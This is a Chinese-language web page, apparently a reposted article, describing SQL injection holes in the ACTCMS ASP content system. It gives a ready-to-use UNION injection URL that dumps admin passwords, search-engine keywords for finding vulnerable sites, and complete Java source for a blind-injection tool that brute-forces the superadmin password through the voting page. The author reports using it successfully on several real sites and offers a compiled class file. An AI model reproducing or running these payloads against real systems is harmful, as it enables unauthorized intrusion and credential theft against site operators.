首页 电脑 电脑学堂 查看内容

ACTCMS管理系统 注入漏洞

2010-3-20 11:26 885 0

摘要: 漏洞描述: User_Article.Asp导致注入,暴出管理员密码。 利用方法: http://localhost/User/User_Article.Asp?ModeID=1action=adds...
关键词: nbsp System preVoteNum println public Asp JAVA 20 static import

漏洞描述: User_Article.Asp导致注入,暴出管理员密码。 利用方法: http://localhost/User/User_Article.Asp?ModeID=1action=addsclassid=-1'%20union%20select%201,2,3,4,5,admin_name%2B'|'%2Bpassword,7,8,9,10,11,12,13,14,15,16,... baidu或者google搜索关键字:inurl:TypeClass.asp 漏洞描述: User_Article.Asp导致注入,暴出管理员密码。 利用方法: http://localhost/User/User_Article.Asp?ModeID=1&action=adds&classid=-1'%20union%20select%201,2,3,4,5,admin_name%2B'|'%2Bpassword,7,8,9,10,11,12,13,14,15,16,17,18%20from%20admin_act%20where%20'1'='1 baidu或者gg搜索关键字:inurl:TypeClass.asp ============================================== 2。 一款ASP的CMS程序。用的人并不是太多。GOOGLE一下关键字“Copyright @ 2006 www.actcms.com” ,不是太多。 今天看了一下代码。基本上所有的参数全都被过滤掉了。。 不过投票那里出了点小问题。。 在/plus/vote/vote.asp页面。代码如下: ASP/Visual Basic代码....       if request("voted").count=0 then       response.write "<script>alert('请选择投票项目。');window.close()</script>"       response.end       end if       for i=1 to request("voted").count       actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))       next   ....   response.Redirect "index.asp?id="&id&"" id直接从request里面取的,不过因为前面是update ,再加上后面的response.redirect,利用起来比较麻烦。而且这是一个一般工具无法识别的注入点。因为无论我们构造什么语句在后面,它都会跳到index.asp页面。 唯一有变化的就是当我们构造的注入条件正确的时候,票数会增加。 手工利用起来相当的麻烦,试了现在的那些注入工具明小子,pangolin之类的也不能注入,所以我自己动手写了一个简单的程序 ,因为只会JAVA,所以就用JAVA写了。。写的比较粗糙。用的穷举法,这样写着比较方便。速度慢就慢吧。 代码如下: Java代码import java.io.BufferedReader;   import java.io.InputStreamReader;   import java.net.URL;   import java.net.URLConnection;   import java.util.regex.Matcher;   import java.util.regex.Pattern;      public class ActCmsGetPwd {          public static char[] arr = { '0', '1', '2', '3', '4', '5', '6', '7', '8',               '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',               'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y',               'z' };          public static String siteurl = "";       public static int voteid = 1;       public static String charset = "";          public static void main(String[] args) throws Exception {           if (args.length < 4) {               System.out                       .println("usage:java ActCmsGetPwd <siteurl> <voteid> <totalVoteNum> <charset>");               System.out.println("siteurl:目标站点");               System.out.println("voteid:投票id");               System.out                       .println("totalVoteNum:当前的投票人数,请自行查看plus/vote/index.asp?id=<voteid>");               System.out.println("charset:目标站点所用的ACTCMS的字符集,请自行查看网页源代码");               System.out.println("eg:java ActCmsGetPwd http://www.abc.com/ 1 15 gb2312");               return;           }           siteurl = args[0];           voteid = Integer.parseInt(args[1]);           int preVoteNum = Integer.parseInt(args[2]);           charset = args[3];                      System.out.println("Code by Ninty , QQ 3191864");           System.out.print("password is :");           for (int i = 1; i <= 16; i++) {               System.out.print(send(i, 0, preVoteNum));               preVoteNum++;           }           System.out.println(" Done!");       }          public static char send(int a, int b, int preVoteNum) throws Exception {           String sql = "%20and%20(select%20top%201%20mid(password," + a                   + ",1)%20from%20admin_act%20where%20supertf%20=1)%20=%20'" + arr[b] + "'";           URL u = new URL(siteurl                   + "/Plus/vote/vote.asp?dopost=send&id="+voteid+"&ismore=0&voted=3" + sql);           URLConnection conn = u.openConnection();           BufferedReader reader = new BufferedReader(new InputStreamReader(conn                   .getInputStream(),charset));           String str = reader.readLine();           while (str != null) {               if (str.indexOf(" 投票人数:") != -1) {                   break;               }               str = reader.readLine();           }           reader.close();           if (!isRight(str, preVoteNum)) {               return send(a, ++b, preVoteNum);           } else {               return arr[b];           }       }          public static boolean isRight(String str, int preVoteNum) {           if (str == null) {               System.out.println("无法读取!");               System.exit(0);           }           Pattern pat = Pattern.compile("人数:(\\d+)");           Matcher mat = pat.matcher(str);           if (mat.find()) {               int num = Integer.parseInt(mat.group(1));               if (num != preVoteNum) {                   return true;               }           }              return false;       }   } 下面是已经编译好的 class文件,编译环境JDK6。直接运行就好。actcmsgetpwd.class 在网上找了几个站测试了一下,都可以得到超级管理员的密码,不过官网好像不存在这个漏洞。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部